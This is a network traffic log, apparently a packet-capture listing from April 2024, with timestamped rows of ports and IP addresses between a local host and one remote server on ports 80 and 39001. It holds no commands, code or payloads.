Apr 23, 2024 23:02:07.208945036 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208961964 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208976984 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208981037 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.209001064 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.209018946 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.209038973 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.209065914 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.211786032 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.211836100 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.211854935 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.211874008 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.211894035 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.211922884 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.260814905 CEST	49734	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.420226097 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420286894 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420331955 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420372963 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420383930 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.420414925 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420454979 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420483112 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.420495987 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420506001 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.420536041 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420576096 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420614958 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420630932 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.420655012 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420669079 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.420695066 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420732975 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420746088 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.420769930 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420809031 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420846939 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420856953 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.420883894 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420895100 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.420941114 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.420979023 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421017885 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421049118 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.421055079 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421075106 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.421093941 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421133995 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421169043 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.421173096 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421211004 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421221972 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.421252966 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421293020 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421330929 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421339989 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.421369076 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421380043 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.421406984 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421447039 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421483994 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421505928 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.421523094 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421546936 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.421564102 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421603918 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421612978 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.421642065 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421680927 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421699047 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.421717882 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421756983 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421771049 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.421792984 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421830893 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421842098 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.421869040 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421906948 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421943903 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421979904 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.421979904 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.421997070 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.422019005 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422056913 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422094107 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422112942 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.422132969 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422142982 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.422172070 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422209024 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422245979 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422272921 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.422283888 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422307968 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.422323942 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422362089 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422394037 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.422400951 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422439098 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422476053 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422496080 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.422514915 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422529936 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.422557116 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422593117 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422631025 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422632933 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.422668934 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422688961 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.422708988 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422746897 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422784090 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422811985 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.422822952 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422832012 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.422861099 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422898054 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422935963 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422950983 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.422976017 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.422986031 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.423016071 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.423053980 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.423089981 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.423109055 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.423130035 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.423135042 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.423168898 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.423207998 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.423227072 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.423250914 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.423290014 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.423302889 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.423330069 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.423424959 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.472063065 CEST	39001	49734	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.526436090 CEST	49734	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.590023041 CEST	49735	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.634361029 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634413004 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634449959 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634505033 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634509087 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.634543896 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634572983 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.634582043 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634620905 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634629011 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.634658098 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634694099 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634721994 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.634730101 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634768963 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634787083 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.634807110 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634845018 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634882927 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634896994 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.634922028 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.634934902 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.634977102 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635015011 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635051966 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635066032 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.635106087 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.635106087 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635143995 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635180950 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635191917 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.635219097 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635255098 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635291100 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635307074 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.635329008 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635343075 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.635366917 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635410070 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635447979 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635459900 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.635484934 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635502100 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.635524988 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635565042 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635571957 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.635603905 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635641098 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635649920 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.635679007 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635715961 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635740995 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.635754108 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635791063 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635819912 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.635829926 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635867119 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635905027 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635910034 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.635941982 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.635948896 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.635983944 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636020899 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636042118 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.636058092 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636095047 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636138916 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.636147022 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636187077 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636221886 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636236906 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.636260986 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636279106 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.636298895 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636337042 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636373043 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636380911 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.636410952 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636423111 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.636447906 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636485100 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636502028 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.636528969 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636567116 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636604071 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636622906 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.636645079 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636657000 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.636682034 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636719942 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636759043 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636774063 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.636796951 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636814117 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.636835098 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636873007 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636882067 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.636910915 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636946917 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.636977911 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.636984110 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637022018 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637049913 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.637058973 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637096882 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637111902 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.637135029 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637170076 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637196064 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.637207031 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637243986 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637280941 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637298107 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.637317896 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637336016 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.637356043 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637393951 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637413025 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.637432098 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637469053 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637476921 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.637506008 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637546062 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637582064 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637597084 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.637620926 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637629032 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.637660027 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637697935 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637720108 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.637736082 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637773037 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637809038 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637825012 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.637849092 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637861013 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.637885094 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637922049 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.637949944 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.637959957 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638001919 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638037920 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638056040 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.638076067 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638088942 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.638113976 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638150930 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638186932 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638216972 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.638225079 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638245106 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.638264894 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638300896 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638338089 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638350964 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.638375044 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638386011 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.638412952 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638449907 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638485909 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638514996 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.638523102 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638534069 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.638561964 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638597965 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638612986 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.638634920 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638672113 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638700008 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.638710022 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638747931 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638783932 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638792992 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.638822079 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638847113 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.638859034 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638899088 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638915062 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.638936043 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638973951 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.638995886 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.639012098 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.639049053 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.639064074 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.639089108 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.639125109 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.639149904 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.639161110 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.639197111 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.639234066 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.639236927 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.639271975 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.639307976 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.639322042 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.639345884 CEST	80	49733	185.196.10.233	192.168.2.4
